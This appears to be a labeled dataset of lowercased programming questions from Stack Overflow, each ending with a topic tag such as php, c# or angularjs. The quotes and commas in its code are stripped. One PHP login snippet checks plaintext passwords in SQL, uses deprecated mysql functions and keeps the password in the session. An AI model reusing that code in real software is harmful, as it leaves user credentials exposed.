web form validator layout issue  i have a div that holds a radiobuttonlist with 2 values and a required field validator.    <img src= https://i.stack.imgur.com/bve60.jpg  alt= enter image description here >    as you can see the validator wraps to the next line (circled). i am trying to get it to display next to the radiobuttonlist (where the red dot is).  no matter what i do it remains on the next line.    i have made the cell wider with no effect.  i have set display to dynamic  no effect. with all the other controls on the form (textboxes &amp; drop downs) the validator displays correctly but this one wont.  it is the same in design mode as it is when i run the app.,asp.net
limit data set in angular  i am trying to display only the first 5 records on load. this is the angular service that is generating the data set. how can i do that     <pre><code> myapp.service( allcurrentsettingsservice   [ $http    $q   function ($http  $q) {         var allsettings = null;         this.getlist = function () {             var def = $q.defer()             if (allsettings) {                 def.resolve(allsettings);             } else {                 $http.post( getallcurrentsettings )                   .then(function (response) {                       var response = $.parsejson(response.data)                       allsettings = response;                       def.resolve(allsettings);                   });             }             return def.promise;         }     }]); </code></pre>,angularjs
abs(v) faster than (v + mask) ^ mask in python   according to <a href= https://graphics.stanford.edu/~seander/bithacks.html#integerabs  rel= nofollow >this page</a>  one way to compute the integer absolute value (<code>abs</code>) without branching in <a href= /questions/tagged/c  class= post-tag  title= show questions tagged &#39;c&#39;  rel= tag >c</a> is as follows:   <pre class= lang-c prettyprint-override ><code>int v;           // we want to find the absolute value of v unsigned int r;  // the result goes here  int const mask = v &gt;&gt; sizeof(int) * char_bit - 1;  r = (v + mask) ^ mask; </code></pre>   out of curiosity  i wanted to compare it with <code>abs()</code> function in python:   <pre><code>&gt; python -m timeit  v = -13   r = abs(v)  10000000 loops  best of 3: 0.119 usec per loop &gt; python -m timeit  v = -13   mask = v &gt;&gt; 23   r = (v + mask)^mask  10000000 loops  best of 3: 0.18 usec per loop </code></pre>   it seems the <code>abs()</code> has better performance than bitwise operations. why  or am i missing something in my test code     more information about the above test codes:    <code>mask = v &gt;&gt; 23</code>  because of the size of <code>v</code> is <code>24</code> through <code>sys.getsizeof(v)</code>.,python
scanner class in java  hey i m trying to compile the following piece of code to basically read stuff from a file but it refuses to work. it gives me an java.io.filenotfoundexception error at line4. help would be appreciated.   <pre><code> import java.io.*;  import java.util.*;    public class test{     public static void main(string args[]) {     file fin = new file ( matrix1.txt );     scanner scanner = new scanner(fin);        while (scanner.hasnextline()){        string line = scanner.nextline();        system.out.println(line);        }     }  } </code></pre>,java
in c how to handle this form of 2d array function_name(int *mat[])  how to print a matrix in c using this form of function: <code>display(int *matrix[] int rows  int cols)</code>,c
does super work only with methods  being new to objectivec i was experimenting with the super keyword. i wanted to know if the super keyword is only used for calling the base class method. consider the following code   <pre><code>@interface foo_base : nsobject {     int int_ivar; } -(void) base_method; -(void) shared_method; @end   @interface foo_der : foo_base -(void) der_method; -(void) shared_method; @end </code></pre>   in the implementation of <code>shared_method</code> if i try doing this   <pre><code>@implementation foo_der - (void) shared_method {      [super shared_method];  //works ok call base class method      int_ivar =23;           //works ok (access base class ivar)      self-&gt;int_ivar = 23;    //works ok (access base class ivar)      super-&gt;int_ivar=23;     //error- why   is super only limited to methods  } ... ... @end </code></pre>   is the super keyword only used for calling the base class methods from the derived class,objective-c
is it possible to locate which file a code is coming from in  inspect element   so when i inspect an element of code like this     <img src= https://i.stack.imgur.com/gly7v.png  alt= http://img.ezlocal.com/j/step-3-modify-code-1.png >    say i click on a line that says   <pre><code>&lt;div class= foo &gt;bar&lt;/div&gt; </code></pre>   is there a way i can find out what file this code is coming from      ie: home.html or new.html    is this possible  i know it shows for the css.    thanks for all the help in advance.    the files are on a ftp server,html
extending polymorphism in derived class from base class  i have a base class <code>a</code>  another class <code>b</code> which is publicly derived from class  a  and a main function:   <pre><code>#include &lt;iostream&gt;  class a   { public:       void add(int x int y){std::cout&lt;&lt;x+y;} };  class b:public a { public:     void add(int *x int *y){std::cout&lt;&lt;*x+*y;} };  int main() {     b t;     int p=5 q=6;     t.add(p q); } </code></pre>   the above program fails to compile and i am able to understand the reason that <code>add</code> function in class a is hidden in class b.     my question  how do i achieve above task  i wan to add a function definition in derived class whose name is same as some function in base class. parameter list will be different for the function.,c++
style errors with api level 23  as soon as i update my <code>build.grade</code> file to api level 23  i get errors that i cannot locate  and cannot fix them. however  these same errors do not show up with 22 or 21. the error that shows up is:    <code>attribute  titletextcolor  has already been defined</code>  and for some reason  it highlights the <code>colors.xml</code> file. there are no instances of <code>titletextcolor</code> in my entire project. when i do a project wide (cmd + shift + f) search  the only instances of <code>titletextcolor</code> show up in generated build files. what s going on here  and how can i fix this     [edit] <code>build.grade</code> file   <pre><code>apply plugin:  android-sdk-manager  apply plugin:  com.android.application  apply plugin:  play   repositories {     //viewpagerindicator aar packaged     maven {         url  http://dl.bintray.com/populov/maven      }     jcenter()     flatdir {         dirs  libs      } }  android {      compilesdkversion 23     buildtoolsversion  23.0.1       defaultconfig {         minsdkversion 16         targetsdkversion 23          testinstrumentationrunner  android.support.test.runner.androidjunitrunner      }      compileoptions {         sourcecompatibility javaversion.version_1_7         targetcompatibility javaversion.version_1_7     }      publishingconfigs {      }      signingconfigs {          basicrelease {          }          advancedrelease {          }          debug {             storefile file( publish/debug.keystore )         }     }      productflavors {          basic {             applicationid  com.basic              versioncode 1             versionname  1.0.0          }          advanced {             applicationid  com.advanced              versioncode 2             versionname  1.0.1          }     }       packagingoptions {         exclude  meta-inf/license.txt          exclude  meta-inf/license          exclude  meta-inf/notice.txt          exclude  meta-inf/notice          exclude  license.txt      }      buildtypes {         debug {             applicationidsuffix  .debug          }          release {          } }  lintoptions {     abortonerror true      htmlreport true      checkallwarnings true     warningsaserrors true }  configurations {     all*.exclude group:  com.google.android   module:  support-v4      all*.exclude group:  com.google.android   module:  support-v13  }  dependencies {     compile  com.android.support:support-v13:23.0.+      compile  com.android.support:appcompat-v7:23.0.+      compile  commons-httpclient:commons-httpclient:3.1       compile  com.google.android.gms:play-services:7.8.0      compile  joda-time:joda-time:2.3      compile  org.ocpsoft.prettytime:prettytime:3.2.1.final      compile  com.facebook.android:facebook-android-sdk:3.23.0      //https://github.com/weddingparty/androidfloatlabel     compile  :float-label:1.2.1.0@aar       //forked from https://github.com/inmite/android-styled-dialogs     compile  eu.inmite.android.lib:android-styled-dialogs:1.2.0       compile  com.viewpagerindicator:library:2.4.1@aar      compile  com.makeramen:roundedimageview:1.2.1      compile  com.squareup.dagger:dagger:1.2.2      provided  com.squareup.dagger:dagger-compiler:1.2.2      compile  com.squareup.retrofit:retrofit:1.9.0      debugcompile  com.squareup.retrofit:retrofit-mock:1.9.0      compile  com.squareup.picasso:picasso:2.5.2      compile  com.squareup.okhttp:okhttp:2.3.0      compile( com.squareup.okhttp:okhttp-urlconnection:2.3.0 ) {         exclude(group:  com.squareup.okhttp   module:  okhttp )     }     compile  com.squareup.okio:okio:1.3.0      compile  io.reactivex:rxandroid:0.24.0      compile  info.metadude.android:typed-preferences:2.0.0      compile  org.apache.commons:commons-lang3:3.3.2      compile  commons-io:commons-io:2.4      compile  com.crittercism:crittercism-android-ndk-agent:5.0.6      compile  com.jakewharton:butterknife:6.1.0      compile( com.segment.analytics.android:analytics-core:3.0.2@aar ) {         transitive = true     }      compile  pl.charmas.android:android-reactive-location:0.5@aar      compile  com.github.amlcurran.showcaseview:showcaseview:5.1.1@aar      compile files( libs/appsflyer-2.3.1.16.jar )     debugcompile  com.jakewharton.madge:madge:1.1.1      debugcompile  com.jakewharton.scalpel:scalpel:1.1.1      androidtestcompile  com.android.support.test:testing-support-lib:0.1      androidtestcompile( com.android.support.test.espresso:espresso-core:2.0 ) {         exclude group:  javax.inject      }     compile files( libs/comscore.jar ) } </code></pre>,android
why is wuapilib.automaticupdates results.wuapilib.automaticupdates null   i am trying to get lastinstallationsuccessdate and lastsearchsuccessdate from the windows update api through .net. i can get iautomaticupdates2.results  but those two properties contained within it are null. why aren t they date s like the documentation states    <pre><code>class program {     static void main(string[] args)     {         wuapilib.iautomaticupdates2 auc = new wuapilib.automaticupdates();         console.writeline(auc.results.lastinstallationsuccessdate);         console.writeline(auc.results.lastsearchsuccessdate);     } }  </code></pre>,.net
how to add swiple gesture with 3 buttons in a xib   i have a table view where i m adding a cell for the content of the table view and i need to add swipeable gesture with 3 buttons in that that table cell.,objective-c
how to resolve relative path in c#  i have a function which combine path. example    my application is located in <code>d:\toto\titi\tata\myapplication.exe</code>    and i create a windows form application(c#) which solve the relative path  based on the path of my application (<code>d:\toto\titi\tata\myapplication.exe</code>).    i want to this this :    1)path to resolve is  <code>test.txt  =&gt; d:\toto\titi\tata\test.txt</code>    2)path to resolve is  <code>.\..\..\test\test.txt  =&gt; d:\toto\test\test.txt</code>    3)path to resolve is  <code>.\..\test\test.txt  =&gt; d:\toto\titi\test\test.txt</code>    4)path to resolve is  <code>.\..\..\..\test\test.txt  =&gt; d:\test\test.txt</code>    5)path to resolve is  <code>.\..\..\..\..\test\test.txt  =&gt; the path doesn t exist</code>    6)path to resolve is  <code>\\server\share\folder\test =&gt; get the corresponding path in the server</code>.    i use this method    <pre><code>private void btnsearchfile_click(object sender  eventargs e) {     // open an existing file  or create a new one.     fileinfo fi = new fileinfo(@ d:\toto\titi\tata\myapplication.exe );      // determine the full path of the file just created or opening.     string fpath = fi.directoryname;      // first case.     string relpath1 = txtboxsearchfile.text;     fileinfo ficase1 = new fileinfo(path.combine(fi.directoryname  relpath1.trimstart( \\ )));      //full path     string fullpathcase1 = ficase1.fullname;      txtboxfoundfile.text = fullpathcase1; } </code></pre>   but i doesn t solve point 1);point 5) and point 6)    can you help me,c#
what is the meaning of python s philosophy  never is often better than *right* now   i don t quite understand the second sentence here from <a href= http://www.python.org/dev/peps/pep-0020/ >the zen of python</a>:    <blockquote>    now is better than never.<br>   although never is often better than <em>right</em> now.  </blockquote>   can anyone explain it or give an example,python
warning: cannot modify header information (php login error) <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/8028957/headers-already-sent-by-php >headers already sent by php</a>    </blockquote>     i m trying to set up a simple php username and password login. everything is working correctly until i try to redirect to the login_success.php page. all information is below please help.   <pre><code>############### code  warning: cannot modify header information - headers already sent by (output started at               .../edits/admon/minastotian/checklogin.php:4) in     .../edits/admon/minastotian/checklogin.php on line 15 </code></pre>   this is the checklogin.php page. it prints out the error above please help. thank you in advanced.   <pre><code>############### code &lt; php     $host= i m not telling ; // host name      $username= db_user ; // mysql username      $password= db_password ; // mysql password      $db_name= db_name ; // database name      $tbl_name= users ; // table name      // connect to server and select databse.     mysql_connect( $host    $username    $password )or die( cannot connect );      mysql_select_db( $db_name )or die( cannot select db );       // username and password sent from form      $myusername=$_post[ myusername ];      $mypassword=$_post[ mypassword ];       // to protect mysql injection (more detail about mysql injection)     $myusername = stripslashes($myusername);     $mypassword = stripslashes($mypassword);     $myusername = mysql_real_escape_string($myusername);     $mypassword = mysql_real_escape_string($mypassword);     $sql= select * from $tbl_name where username= $myusername  and     password= $mypassword  ;     $result=mysql_query($sql);      // mysql_num_row is counting table row     $count=mysql_num_rows($result);      // if result matched $myusername and $mypassword  table row must be 1 row     if($count==1){         // register $myusername  $mypassword and redirect to file  login_success.php          $_session[ myusername ] =  myusername ;         $_session[ mypassword ] =  mypassword ;         header( location:login_success.php );     }     else {         echo  wrong username or password ;     }      &gt; </code></pre>,php
returning  this  pointer in a const function  i ve been learning c++ and i am practicing with classes at the moment. i created a class that stores a name and a score of a player and defines functions to manipulate the data and show it.    one of the functions i created is to compare scores of two players and return a pointer to the player with the higher score. this is the function:   <pre><code>player * player::highestscore(player  p2)const {     if(p2.pscore&gt;pscore)     {         return &amp;p2;     }     else     {         return this;     } } </code></pre>   from the main i create the following players:   <pre><code>player p1( james gosling  11); player *p4 = new player( bjarne stroustrup  5); </code></pre>   i call the highestscore function:   <pre><code>player *highestscore = p1.highestscore(*p4); </code></pre>   however as you may have noticed from reading the function itself  when i return the pointer to the object that called the method (if it has a higher score)  i get an error that says:   <pre><code>return value type does not match the function type </code></pre>   this problem seems to disappear when i declare the return type of the function as a <code>const</code>  like this:   <pre><code>const player * player::highestscore(player  p2)const </code></pre>   the part that is confusing me is why does it allow me to <code>return &amp;p2</code>  which is not <code>const</code> and doesn t allow me to return <code>this</code>  which is a pointer to the object that called the function  which isn t a <code>const</code> as well  also even when i declare the function return type as a const  it still allows me to <code>return &amp;p2</code>  even though the argument passed to the parameter is not a const player object     sorry if the question seems strange or what i m trying to do is very bad programming  but it s just for the purpose of learning by doing it.,c++
angular how to automatically update a view when changes happen in local storage   i am trying to update a paragraph in a view when something is added to local storage which  in this case is an array of numbers with the name <code>cart</code>.    in my <strong>view</strong> i have:   <pre><code>    &lt;div class= words &gt;{{user.cart ||  thing }}&lt;/div&gt; </code></pre>   in my <strong>controller</strong> i have:   <pre><code>  .controller( loginctrl   function ($scope  $window  $location  userfactory) {        $scope.user = userfactory.currentuser || {cart: $window.localstorage.getitem( cart )};    } </code></pre>   if i <code>console.dir</code> the <code>$scope.user</code> it shows  <code>{cart: [44  55]}</code> (i.e. the right object) but in my view the default <code> thing </code> is shown (or nothing if i remove the <code>||</code> condition.    what is the right way to get an automatic update in the view      if i add:   <pre><code>$scope.$watch(function () {   return json.parse($window.localstorage.getitem( cart )); }  function (newcart) {   $scope.user.cart = newcart; }); </code></pre>   i get:   <pre><code>uncaught error: [$rootscope:infdig] 10 $digest() iterations reached. aborting! </code></pre>   and:   <pre><code>typeerror: cannot set property  cart  of null </code></pre>   is there some way around this,angularjs
passing parameter to exe  i have made exe of c# console application. i want to pass app.config file as parameter to run that exe. when i pass config file with same name as that of exe  it works fine. but if i change name or path of that config file  it starts giving error that    <blockquote>    object reference not set to an instance of an object   </blockquote>   can you please help me resolving this   also let me know if we can pass multiple config files at a time to same exe.    thanks  mandar,c#
problem while using pre tag  in my project we need to display code snippet  so i am using pre and code(both) tag.   <h2><strong>problem</strong></h2>   while displaying the code snippet it is displaying white spaces before and after the actual content. how to remove these white spaces before and after the snippet.,html
html code won’t update before launching  so i have been trying to make a test website but when i go to launch it  for some reason the code isn t the same code that i made. here is what i mean...   <pre class= lang-html prettyprint-override ><code>&lt;!doctype html&gt; &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head&gt;     &lt;title&gt;dosisod&lt;/title&gt;      &lt;style&gt;         h.main-title{             color:lightblue;             font-size: 25px;             font-family: lucida console ;         }         p.test{             font-family: lucida console ;             color:black;         }     &lt;/style&gt;  &lt;/head&gt; &lt;body&gt;     &lt;h class= main-title &gt;this is a test.&lt;/h&gt;     &lt;p class= test &gt;this is a test&lt;/p&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   but when i launch it  it doesn t look like that at all. and when i looked at the source code for the page  it looked like this...   <pre class= lang-html prettyprint-override ><code>&lt;!doctype html&gt; &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head&gt;     &lt;title&gt;dosisod&lt;/title&gt;      &lt;style&gt;         .main-title{             color:lightblue;             font-size: 25px;         }     &lt;/style&gt; &lt;/head&gt; &lt;body&gt;     &lt;p class= main-title &gt;this is a test.&lt;/p&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   its missing a bunch of the code i had made  and disappears when i launch it. maybe it is a build error,html
trying to generate random numbers on iphone  get same number  i m trying to make a card game.  i m using the following code to draw a random card    icard=random() % 55;    but icard is always starts out with 28. seems like it gives back the numbers in the same order.    is there a way to get a diffrent random number each time the function is first called,ios
which launch image should i use   i m building a game for the iphone  and the main window displays an image in the background describing the game  and i have few other layers of images which are the buttons such as start new game  options and help.    should the launch image be only the background image describing the game without the extra image layers or should it be image including the other layers which are start new game  option and help     thanks.,iphone
printf(  line read: %s\n   input );  wont print out the full input string. c programming  program should be printing this:   <pre><code>$ this is a test line read: this is a test token(s):   this  is  a  test 4 token(s) read </code></pre>   but it s cutting off the line read: to this:   <pre><code>$ this is a test line read: this token(s):   this  is  a  test 4 token(s) read </code></pre>   it only takes the first word of the input...    code:   <pre><code>#include  stdio.h  #include  stdlib.h  #include  string.h   int main(int argc  char const *argv[]) {     char input[ 256 ];     char *token;      while ( 1 )     {            printf( $  );          fgets( input  256  stdin );         int count = 0;               token = strtok( input    \n  );         if ( count == 0 &amp;&amp; strcmp( input   exit  ) == 0 )         {             exit( 0 );         }          printf(  line read: %s\n   input );         printf(  token(s): \n  );          while( token != null )         {             count++;             printf(   %s\n   token );             token = strtok( null    \n  );         }             printf(  %d token(s) read\n\n   count );     }     return 0; } </code></pre>,c
how to serve a non static files in rails  i have an action  that generates a pdf files and save it in the /public/output.pdf.    when i set    <pre><code>config.serve_static_assets = false </code></pre>   this file can t be found.    what s wrong,ruby-on-rails
low level file input output calculate  sum  and  average   this is my code   <pre><code>#include&lt;stdio.h&gt; #include&lt;string.h&gt; #include&lt;fcntl.h&gt; #include&lt;sys/types.h&gt; #include&lt;sys/stat.h&gt;  #define buffersize 512 int main() {         int infd;         int bytes;         int i;         int outfd;         char buffer[buffersize];          if((infd = open( input.txt   o_rdonly)) &lt;0)         {                 perror( can t open file d11-9.in );         }         if((outfd = open( output.txt   o_creat|o_wronly  s_iwrite))&lt;0)         {                 printf( can\t open file output.txt );         }          while((bytes = read (infd  buffer  buffersize))&gt;0)         {                 for(i=0;i&lt;bytes; ++i)                 {                         putchar(buffer[i]);                 }                 write(outfd  buffer  bytes);         }         close(infd);          close(outfd);         return 0; }       </code></pre>   this is input.txt   <pre><code>id              unix    c language      network 20150001        98      95              97 20150002        84      88              90 </code></pre>   this is output.txt   <pre><code>id              unix    c language      networ  sum     average 20150001        98      95              97      290     96 20150002        84      88              90      262     84 </code></pre>   i want to code read input.txt and calculate sum and average!! make like output.txt    i don t know how to code pls give me a hand!!,c
iphone ad hoc distribution in a team environment  i am a developer working on several iphone apps. i am an administrator in our apple dev portal team. the agent of our team is not a developer. i understand that only the agent can request an ad hoc deployment cert  and prepare an app for ad hoc distribution.    i assume that the agent can generate the certificate and pass them to me so that i can provision and build the app for ad hoc distribution  but i have read horror stories about using multiple certificates in xcode. just getting set up for development testing on the device was complicated enough!    has anyone dealt with this issue  what pitfalls are there in using multiple certs in xcode  i suppose that i would also need to have the agents public and private key in my keychain.,iphone
css: fluid layout - footer always at the bottom  and a fluid center  how would you do this: <a href= http://matthewjamestaylor.com/blog/keeping-footers-at-the-bottom-of-the-page  rel= nofollow noreferrer >http://matthewjamestaylor.com/blog/keeping-footers-at-the-bottom-of-the-page</a>    except with a fluid center (vertically stretched  height 100%),css
if i use ng-show to hide columns in a large grid will that improve performance   i have a large data grid with 20 columns and about 1 000 rows.  the grid displays slowly and seems jerky to move with the scrollbar.     there are 5-6 columns that most of the time i don t need to see.  if i used ng-show to hide those columns from view would that be likely to improve performance. alternatively are there any other suggestions that might help me with this problem   i m using v1.5.0 and the very latest browsers.  would upgrading to a more recent version help,angularjs
sql modify and insert as new row in the original table  i have a single table with single column   i want to modify rows in original table and insert them as new row.    <pre><code>originaltable - &gt;| xyz  |                  --------                  | abc1 | </code></pre>   need a sql expert to refactor this query into a single sql query if possble  (here is want i have done      1) here i create two separate temporary tables to do all the processing    2) and then join them to the original table     i want to eliminate the creation of these tables  if i can perform all the below queries in a single statement)   <pre><code>create table #tmp1(  xyz varchar(10) ) create table #tmp2(  xyz varchar(10) )  insert into #tmp1 (xyz) select xyz from originaltable  insert into #tmp2 (xyz) select xyz from originaltable  update #tmp1(xyz) select xyz = (substring(xyz  1  8)) ||  p   update #tmp2(xyz) select xyz = (substring(xyz  1  8)) ||  r   insert into #originaltable (xyz) select xyz from #tmp_1 union select xyz from #tmp_2  originaltable - &gt; | xyz  |                   --------                    | abc1 |                   | abcp |                   | abcr | </code></pre>,sql
how to halt execution of current php script   i m writing some simple php to back up a microsite. in my controller  i have a quick security/sanity check   <pre><code>if(!preg_match( /^[a-z]$/i   $req)) { gohome(); } </code></pre>   i d like to continue my the main code after this  but for aesthetics  i d like to avoid putting the rest of it inside the <code>else</code> block. what s the best way around this  i can think of setting up a fairly simple wrapper to handle authentication and security logic  but i feel like i just missed a really simple solution in my training.,php
unable to call functions from a class in python. learning python the hardway ex49  i am doing learning python the hard way <a href= http://learnpythonthehardway.org/book/ex49.html  rel= nofollow noreferrer >ex48</a>. the following is my code:   <pre><code>class parsererror(exception):     pass  class sentence(object):      def __init__(self  subject  verb  obj):         self.subject = subject[1]         self.verb = verb[1]         self.object = obj[1]      def peek(word_list):         if word_list:             word = word_list[0]             return word[0]         else:             return none      def match(word_list  expecting):         if word_list:             word = word_list.pop(0)             if word[0] == expecting:                 return word             else:                 return none         else:             return none      def skip(word_list  word_type):         while peek(word_list) == word_type:             match(word_list  word_type)       def parse_verb(word_list):         skip(word_list   stop )          if peek(word_list) ==  verb :             return match(word_list   verb )         else:             raise parsererror( expected a verb next. )      def parse_object(word_list):         skip(word_list   stop )         next_word = peek(word_list)          if next_word ==  noun :             return match(word_list   noun )         elif next_word ==  direction :             return match(word_list   direction )         else:             raise parsererror( expected a noun or direction next )      def parse_subject(word_list):         skip(word_list   stop )         next_word = peek(word_list)          if next_word ==  noun :             return match(word_list   noun )         elif next_word ==  verb :             return ( noun    player )         else:             raise parsererror( expected a verb next. )      def parse_sentence(word_list):         subj = parse_subject(word_list)         verbj = parse_verb(word_list)         obj = parse_object(word_list)          return sentence(subj  verb  obj) </code></pre>   i am trying to run this script in the terminal. i ran python3 and first imported the script then tried to run one of the function. however  i am getting the following errors:    <a href= https://i.stack.imgur.com/xxrge.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/xxrge.png  alt= enter image description here ></a>    i would like to know how can i can this function from the class correctly. thanks!,python
open an embedded resource file without create the file in application directory  how to open an embedded resource file without create the file in application directory  because all methods i tried creates the file in application directory.,c#
jquery function to detect non-empty input and display input clear button  <img src= https://i.stack.imgur.com/grw3l.png  alt= enter image description here >    i have existing code which displays input-clear button at the end of an input #q when user fills in and disappear the button when the input becomes empty:   <pre><code>$(document).on( propertychange keyup input paste pageinit    #q   function(){     var io = $(this).val().length   1 : 0 ;     $(this).next( .icon_clear ).stop().fadeto(0 io); }).on( click    .icon_clear   function() {     $(this).delay(0).fadeto(0 0).prev( input ).val(  ).focus(); }); </code></pre>   portion of index.php:   <pre><code>&lt;form id= searchform  action=   class= search-box  method= post &gt; &lt;span class= clearable &gt; &lt;input type= text  name= q  id= q  size= 22  value= &lt; php echo $_get[ q ];  &gt;  autocomplete= off  maxlength= 1024  class= search  placeholder= search  &gt; &lt;span class= icon_clear &gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt; &lt;/span&gt; &lt;/form&gt; </code></pre>   <a href= http://jsfiddle.net/pjzmv/801/  rel= nofollow noreferrer >an example of jquery input-clear button</a>    the problem is that: when user key in some text and press enter  index.php q=text is called. then the input-clear button is not displayed since there is no occurrence of any event on input #q (though #q contain text value as per <code>value= &lt; php echo $_get[ q ];  &gt; </code> ). because #q contain value  naturally  input-clear button is expected.    <strong>how can i update the script so that input-clear button is shown as long as there is value in input #q.</strong>,jquery
how to show login/logout links the rails way   i have a property that is exposed in my view @is_logged_in    if its true  then i want to show the  logout  link  otherwise i want to show the  login  link.    is there a fancy rails way to do this,ruby-on-rails
css - equal size images  how can i make all the images the same size while having them still be responsive     here s the fiddle:    <a href= https://jsfiddle.net/2ko9g725/2/  rel= nofollow noreferrer >https://jsfiddle.net/2ko9g725/2/</a>    this is all the css:   <pre><code>.ui.text.menu {    background-color: #eee;    margin-top: 0; }  .ui.message {    padding: 50px 50px;    margin-bottom: 20px !important; }  .ui.grid.stackable.container {     display: flex;     flex-wrap: wrap; } </code></pre>,css
"get imageview from touched row in recyclerview  i want to get the imageview of the touched row in a recyclerview.     the problem is that all rows have the same imageview id:    <a href= https://i.stack.imgur.com/ykklel.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ykklel.png  alt= enter image description here ></a>    this is a example from youtube  when touching a row the icon is changing:    <a href= https://i.stack.imgur.com/5pkwel.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/5pkwel.jpg  alt= enter image description here ></a>    for example when i m touching the first row i want to create a imageview object and do something with this but just with the imageview from the first row!    the picture is with textview but thats not interessting for the logic.    <strong>updated code</strong>    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>public class settingsadapter extends recyclerview.adapter&lt;settingsadapter.mysettingholder&gt; {
 
     private list&lt;settings&gt; settinglist;
     private context context;
 
     public class mysettingholder extends recyclerview.viewholder {
 
         public int type;
         public imageview settingimage;
         public textview settingtitle  settingsubtitle;
 
         public mysettingholder(view view) {
             super(view);
             settingimage = (imageview) view.findviewbyid(r.id.settingimage);
             settingtitle = (textview) view.findviewbyid(r.id.settingtitle);
             settingsubtitle = (textview) view.findviewbyid(r.id.settingsubtitle);
         }
     }
 
     public settingsadapter(context context) {
         this.context = context;
     }
 
     public settingsadapter(list&lt;settings&gt; settinglist) {
         this.settinglist = settinglist;
     }
 
     @override
     public mysettingholder oncreateviewholder(viewgroup parent  int viewtype) {
         view itemview = layoutinflater.from(parent.getcontext())
                 .inflate(r.layout.settings_list_row  parent  false);
 
         return new mysettingholder(itemview);
     }
 
     @override
     public void onbindviewholder(mysettingholder holder  int position) {
         // setting for one entry
         final settings setting = settinglist.get(position);
         //relativelayout.layoutparams params = new relativelayout.layoutparams(relativelayout.layoutparams.match_parent  relativelayout.layoutparams.wrap_content);
 
         holder.settingimage.setimageresource(setting.getsettingimageurl());
         // if the settingsubtitle is empty it should be not visible and just the settingtitle
         if (setting.getsettingsubtitle().equals(  )) {
             //params.setmargins(0  18  0  18);
             //holder.settingtitle.setlayoutparams(params);
             holder.settingtitle.settext(setting.getsettingtitle());
             holder.settingsubtitle.setvisibility(view.gone);
         } else {
             //params.setmargins(0  18  0  18);
             //holder.settingtitle.setlayoutparams(params);
             //params.setmargins(0  0  0  18);
             //holder.settingsubtitle.setlayoutparams(params);
             holder.settingtitle.settext(setting.getsettingtitle());
             holder.settingsubtitle.settext(setting.getsettingsubtitle());
         }
 
         // get setting holder type
         holder.type = setting.gettype();
 
         // ontouchlistener for holder/vector color change
         holder.itemview.setontouchlistener(new view.ontouchlistener() {
             @override
             public boolean ontouch(view v  motionevent event) {
                 // define setting holder
                 mysettingholder holder = (mysettingholder) (v.gettag());
 
 
                 // imageview for changing color
                 imageview settingimagerow = (imageview) v.findviewbyid(r.id.settingimage);
 
                 // detect if user touch or not
                 if (event.getaction() == android.view.motionevent.action_down) {
                     // change imageview color to primary color
                     drawablecompat.settint(settingimagerow.getdrawable()  contextcompat.getcolor(v.getcontext()  r.color.colorprimary));
                 } else if (event.getaction() == android.view.motionevent.action_up) {
                     // change imageview color to icon color
                     drawablecompat.settint(settingimagerow.getdrawable()  contextcompat.getcolor(v.getcontext()  r.color.icongray));
                 }
 
 
                 return false;
             }
         });
 
         // onclicklistener for holder
         holder.itemview.setonclicklistener(new view.onclicklistener() {
             @override
             public void onclick(final view v) {
                 // define setting holder
                 mysettingholder holder = (mysettingholder) (v.gettag());
 
                 // define switch for line
                 switch (holder.type) {
                     // case 1 = logout
                     case 1:
                         // onclicklistener for an event
                         dialoginterface.onclicklistener dialogclicklistener = new dialoginterface.onclicklistener() {
                             @override
                             public void onclick(dialoginterface dialog  int which) {
                                 switch (which) {
 
                                     // case user types yes
                                     case dialoginterface.button_positive:
                                         // deleting shared preferences for login activity
                                         sharedpreferences loginpreferences = v.getrootview().getcontext().getsharedpreferences( loginprefs   context.mode_private);
                                         sharedpreferences.editor editor = loginpreferences.edit();
                                         editor.clear();
                                         editor.commit();
 
                                         // start new activity for login
                                         v.getcontext().startactivity(new intent(v.getcontext()  loginactivity.class));
 
                                         // exit activity
                                         ((activity) v.getcontext()).finish();
 
                                         // exit case button positive/yes
                                         break;
 
                                     case dialoginterface.button_negative:
                                         // dismiss dialog
                                         dialog.dismiss();
 
                                         // exit case button negative/no
                                         break;
                                 }
                             }
                         };
                         // alertdialog for logout check
                         alertdialog.builder builder = new alertdialog.builder(v.getrootview().getcontext());
                         builder.setmessage( möchtest du dich wirklich abmelden  )
                                 .setpositivebutton( ja   dialogclicklistener)
                                 .setnegativebutton( nein   dialogclicklistener)
                                 .show();
 
                         // exit switch
                         break;
 
                     case 2:
                         // do other stuff
                         break;
 
                     default:
 
                         break;
                 }
             }
         });
 
         holder.itemview.settag(holder);
     }
 
     @override
     public int getitemcount() {
         return settinglist.size();
     }
 
 }</code></pre>
 </div>
 </div>",android
sql query structure not returning correct results  i have the following query   <pre><code>select eventid  description  title  event_start  event_end  userid from sis_event  where userid=1 or (userid=0) and       event_start &gt;=01/01/2017 and event_end &lt;=10/10/2017 </code></pre>   this will work but only selects the record with the userid of 1 and will not return any with a userid of 0    i feel is is like to the structure of my sql but im not sure what im doing wrong any help is appreciated    below is the sql in code   <pre><code>sqlcommand cmd = new sqlcommand( select eventid  description  title   event_start  event_end  userid from sis_event where userid in (0  @user_id)  and event_start &gt;=  @start  and event_end &lt;=  @end     con);           cmd.parameters.addwithvalue( @start   start);         cmd.parameters.addwithvalue( @end   end);         cmd.parameters.addwithvalue( @user_id   httpcontext.current.session[ userid ]); </code></pre>,sql
show keyboard with button have symbol  #+=  as default  i want when i touch on a textfield  it will show the keyboard has symbol like:  [ ] { }...  but i look into the delegate and try all types but it doesn t have that keyboard type.    i have searched about that but i can find a solution. so is it possible,iphone
representation of the number -1  which is of type int16_t  in binary notation  i want to write a representation of the number -1. how to write a representation of the number -1  which is of type int16_t  in binary notation,objective-c
